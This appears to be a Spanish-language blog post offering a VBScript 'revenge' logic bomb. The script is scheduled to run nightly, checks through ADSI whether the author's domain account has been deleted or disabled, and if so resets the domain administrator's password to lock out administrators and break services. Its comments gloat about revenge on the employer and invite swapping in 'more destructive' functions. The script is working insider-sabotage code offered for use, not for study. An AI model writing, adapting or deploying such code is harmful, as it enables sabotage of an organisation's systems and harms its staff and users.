Tal y como esta la cosa del trabajo hay que protegerse las espaldas, o al menos hacer que tus «amigos» no te olviden tan facilmente…
Así y sin más dilación, os traigo esta «joyita» que se me ha ocurrido… Un mini-script para que no nos olviden
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 |
<span class="rem">' Scripting People - Tus "Amigos" no te Olvidan</span> <span class="rem">' by Oscar Marin</span> <span class="rem">' Requiere privilegios administrativos (ejecutar con una cuenta con privilegios</span> <span class="rem">' de administrador del dominio si se puede) para poder cambiar la contraseña</span> <span class="rem">' de un usuario del dominio (o para hacer lo que te apetezca)</span> <span class="rem">' Para el correcto funcionamiento habrá que dejar el script corriendo en una</span> <span class="rem">' tarea programada, por ejemplo, que se ejecute cada noche y compruebe si todavia</span> <span class="rem">' seguimos en la empresa. Se puede hacer esto con el siguiente comando:</span> <span class="rem">' at 23:52 /every:l,m,mi,j,v "cmd /c cscript d:\scripts\user-exist.vbs"</span> <span class="rem">' Que ejecutará el comando cada dia entre semana a las 23:52</span> <span class="rem">' Definimos e inicializamos las variables</span> <span class="rem">' En Principio no existe nuestra cuenta pero estamos habilitados</span> boolExiste = <span class="kwrd">false</span> boolDeshabilitado = <span class="kwrd">false</span> <span class="rem">' No tengais miedo a utilizar variables largas, es preferible copiar y pegar</span> <span class="rem">' que no saber que hace una variable</span> usrQueNoTieneQueSerDespedido = <span class="str">"scriptingpeople2"</span> <span class="rem">' Definimos el nombre del admin y la contraseña que vamos a usar para cambiarsela al administrador</span> usrAdmin = <span class="str">"scriptingpeople"</span> pass = <span class="str">"scriptingpeople1!"</span> <span class="rem">' Llamamos a la funcion que comprueba que nuestro usuario este ok</span> <span class="rem">' Es decir, comprueba que exista (que no lo han borrado) y que</span> <span class="rem">' esta habilitado (que no lo han bloqueado)</span> EstadoUsr(usrQueNoTieneQueSerDespedido) <span class="rem">' Si existimos, por ahora esta todo bien, veremos si esta la cuenta deshabilitada</span> <span class="kwrd">If</span> boolExiste <span class="kwrd">Then</span> <span class="rem">' Vemos que al menos existimos, pero ¿Estamos deshabilitados?</span> <span class="rem">' Si la cuenta esta deshabilitada es que nos han echado</span> <span class="kwrd">If</span> boolDeshabilitado <span class="kwrd">Then</span> <span class="rem">' Imprimimos mensaje de advertencia</span> Wscript.Echo <span class="str">"Mierda, te han bloqueado la cuenta, se van a cagar!!!"</span> <span class="rem">' Llamamos a la funcion que cambia la contraseña del usuario que le pasamos (administrador?)</span> ChangePwd(usrAdmin) <span class="kwrd">End</span> <span class="kwrd">If</span> <span class="kwrd">Else</span> <span class="rem">' Si han borrado el usuario...</span> <span class="rem">' Imprimimos mensaje de advertencia</span> Wscript.Echo <span class="str">"Te han largao, lo van a pagar caro!!!"</span> <span class="rem">' Llamamos a la funcion que cambia la contraseña del usuario que le pasamos (administrador?)</span> <span class="rem">' Una vez cambiada la contraseña, en el siguiente reinicio dejarán de funcionar todos los</span> <span class="rem">' servicios que se ejecuten con la cuenta de administrador, cosa demasiado comun por</span> <span class="rem">' desgracia y ademas, en caso de que sea la unica cuenta con privilegios administrativos...</span> <span class="rem">' ...los administradores no podran iniciar sesion y tendran que utilizar alguna herramienta</span> <span class="rem">' para volver a restaurar la contraseña</span> <span class="rem">' Este paso podeis cambiarlo por otra funcion bastante mas destructiva para que de verdad</span> <span class="rem">' Tus "Amigos" no te Olviden... pero eso ya lo dejo a vuestra imaginacion</span> ChangePwd(usrAdmin) <span class="kwrd">End</span> <span class="kwrd">If</span> <span class="rem">' Funcion que comprueba si la cuenta esta borrada o deshabilitada</span> <span class="kwrd">Sub</span> EstadoUsr(strUserName) <span class="rem">' Creamos el objeto dominio con nuestro nombre NETBIOS del dominio</span> <span class="kwrd">Set</span> objDomain = GetObject(<span class="str">"WinNT://midominionetbios"</span>) <span class="rem">' Filtramos solo los usuarios del dominio (que no nos aprezcan nombres de maquina o cosas diferentes)</span> objDomain.Filter = Array(<span class="str">"user"</span>) <span class="rem">' Para cada usuario del dominio</span> <span class="kwrd">For</span> <span class="kwrd">Each</span> User <span class="kwrd">In</span> objDomain <span class="rem">' Comprobamos que el usuario en minusculas (por asegurarnos que no hay errores de mayusculas y</span> <span class="rem">' minusculas) sea igual al usuario que le hemos pasado a la funcion y en caso afirmativo...</span> <span class="kwrd">If</span> lcase(User.Name) = lcase(strUserName) <span class="kwrd">Then</span> <span class="rem">' Marcamos a verdadero la variable de que el usuario existe</span> boolExiste = <span class="kwrd">true</span> <span class="rem">' Imprimimos en pantalla el mensaje de que existe</span> WScript.Echo User.Name & <span class="str">" existe... pero vamos a investigar mas..."</span> <span class="rem">' Pero tambien comprobamos si la cuenta sigue activa o esta deshabilitada</span> <span class="rem">' Si la cuenta esta deshabilitada... (Nos han echado...)</span> <span class="kwrd">If</span> User.AccountDisabled = <span class="kwrd">true</span> <span class="kwrd">Then</span> <span class="rem">' Marcamos la variable de control de deshabilitado a Verdadero</span> boolDeshabilitado = <span class="kwrd">true</span> <span class="rem">' Imprimimos la cruda realidad</span> Wscript.Echo User.Name & <span class="str">" esta deshabilitado"</span> <span class="kwrd">Else</span> <span class="rem">' Si no... Está todo bien... Existe la cuenta y esta habilitada</span> <span class="rem">' Marcamos la variable como que tampoco esta deshabilitada</span> boolDeshabilitado = <span class="kwrd">false</span> <span class="rem">' Imprimimos nuestra salvacion</span> Wscript.Echo User.Name & <span class="str">" sigue en activo"</span> <span class="kwrd">End</span> <span class="kwrd">If</span> <span class="kwrd">End</span> <span class="kwrd">If</span> <span class="kwrd">Next</span> <span class="rem">' Si el usuario no existe... Como la variable de control ha empezado a False...</span> <span class="rem">' No hacemos ningun cambio sobre la variable de control, por lo que se desencadenan</span> <span class="rem">' las acciones de venganza que tengamos programadas en el programa principal</span> <span class="kwrd">If</span> boolExiste = <span class="kwrd">false</span> <span class="kwrd">Then</span> <span class="rem">' Pero si que imprimimos la cruda realidad</span> Wscript.Echo strUserName & <span class="str">" no existe"</span> <span class="kwrd">End</span> <span class="kwrd">If</span> <span class="kwrd">End</span> <span class="kwrd">Sub</span> <span class="rem">' Funcion para cambiar la contraseña de un usuario</span> <span class="kwrd">Sub</span> ChangePwd(strUserNameAdmin) <span class="rem">' Esta vez creamos directamente el objeto del usuario apuntando a su DistinguishedName (DN) directamente</span> <span class="rem">' Podeis ver cual es el DN del usuario con el ADSI Edit (adsiedit.msc) por ejemplo, aunque por logica</span> <span class="rem">' es bastante sencillo averiguarlo sabiendo en que OU/CN está</span> <span class="kwrd">Set</span> objUser = GetObject (<span class="str">"LDAP://cn="</span> & strUserNameAdmin & <span class="str">",cn=Users,dc=dominio,dc=demo"</span>) <span class="rem">' Y le cambiamos la contraseña con la arriba definida</span> objUser.SetPassword pass <span class="kwrd">End</span> Sub |